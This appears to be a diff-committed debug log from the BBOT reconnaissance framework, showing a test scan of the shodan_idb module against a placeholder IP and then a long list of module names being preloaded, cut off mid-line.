+2026-02-27 15:00:13,009 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb +2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() +2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() +2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb +2026-02-27 15:00:13,010 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 15:00:13,010 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 15:00:13,012 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 15:00:13,014 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 15:00:13,014 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-02-27 15:00:13,014 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 15:00:13,014 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 15:00:13,094 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_2xbsmsfupf +2026-02-27 15:00:13,094 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-02-27 15:00:13,160 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-02-27 15:00:13,160 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 15:00:13,161 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 15:00:13,162 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 15:00:13,263 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 15:00:13,264 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 15:00:13,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 15:00:13,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 15:00:13,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 15:00:13,268 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 15:00:13,269 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 15:00:13,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,270 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 15:00:13,270 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,270 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 15:00:13,271 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 15:00:13,274 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,275 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 15:00:13,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,276 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,276 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 15:00:13,276 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,293 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': <httpx.AsyncHTTPTransport object at 0x1175792b0>, 'verify': <ssl.SSLContext object at 0x117599770>, 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) +2026-02-27 15:00:13,298 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 15:00:13,363 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET +2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 15:00:13,365 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 15:00:13,365 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED +2026-02-27 15:00:13,366 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 15:00:13,366 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 15:00:13,367 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-02-27 15:00:13,367 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 15:00:13,367 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None +2026-02-27 15:00:13,368 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 15:00:13,468 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 15:00:13,469 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-02-27 15:00:13,478 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 15:00:13,478 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 15:00:13,479 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 15:00:13,486 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 15:00:13,486 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-02-27 15:00:13,487 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 15:00:13,487 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-02-27 15:00:13,487 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-02-27 15:00:13,488 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-02-27 15:00:13,489 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... +2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal +2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... +2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down +2026-02-27 15:00:13,558 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_2xbsmsfupf completed in 0 seconds with status FINISHED +2026-02-27 15:00:13,558 [DEBUG] bbot base.py:113 Finished shodan_idb module test +2026-02-27 15:00:13,559 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 15:00:59,945 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-27 15:00:59,952 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 15:00:59,953 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 15:00:59,953 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-27 15:00:59,954 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-27 15:00:59,954 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 15:00:59,955 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 15:00:59,955 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 15:00:59,956 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 15:00:59,956 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 15:00:59,958 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 15:00:59,958 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 15:00:59,959 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 15:00:59,959 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 15:00:59,960 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 15:00:59,960 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 15:00:59,961 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 15:00:59,961 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 15:00:59,962 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 15:00:59,962 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 15:00:59,963 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 15:00:59,963 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 15:00:59,964 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 15:00:59,964 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 15:00:59,965 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 15:00:59,965 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 15:00:59,966 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 15:00:59,966 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 15:00:59,967 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 15:00:59,967 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 15:00:59,968 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-27 15:00:59,968 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 15:00:59,969 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-27 15:00:59,969 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 15:00:59,970 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 15:00:59,970 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 15:00:59,971 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 15:00:59,971 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 15:00:59,976 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 15:00:59,976 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 15:00:59,977 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 15:00:59,977 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 15:00:59,979 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 15:00:59,979 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 15:00:59,980 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 15:00:59,980 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 15:00:59,981 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 15:00:59,981 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 15:00:59,984 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 15:00:59,984 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 15:00:59,985 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 15:00:59,985 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 15:00:59,986 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 15:00:59,986 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 15:00:59,987 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 15:00:59,990 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 15:00:59,990 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 15:00:59,991 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 15:00:59,991 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 15:00:59,994 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 15:00:59,995 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 15:00:59,995 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 15:00:59,996 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 15:00:59,996 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 15:00:59,999 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 15:00:59,999 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 15:01:00,000 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 15:01:00,000 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 15:01:00,001 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 15:01:00,001 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 15:01:00,002 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 15:01:00,003 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 15:01:00,003 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 15:01:00,005 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 15:01:00,005 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 15:01:00,007 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 15:01:00,007 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 15:01:00,008 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 15:01:00,008 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 15:01:00,010 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 15:01:00,010 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 15:01:00,011 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 15:01:00,011 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 15:01:00,012 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 15:01:00,012 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 15:01:00,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 15:01:00,013 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 15:01:00,015 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 15:01:00,015 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 15:01:00,016 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 15:01:00,016 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 15:01:00,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 15:01:00,017 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 15:01:00,018 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 15:01:00,018 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 15:01:00,019 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 15:01:00,019 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 15:01:00,020 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 15:01:00,020 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 15:01:00,023 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 15:01:00,023 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-27 15:01:00,025 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 15:01:00,026 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 15:01:00,026 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 15:01:00,027 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 15:01:00,027 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 15:01:00,028 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 15:01:00,029 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 15:01:00,030 [DEBUG] bbot.module_loader modules.py:351 Skipping 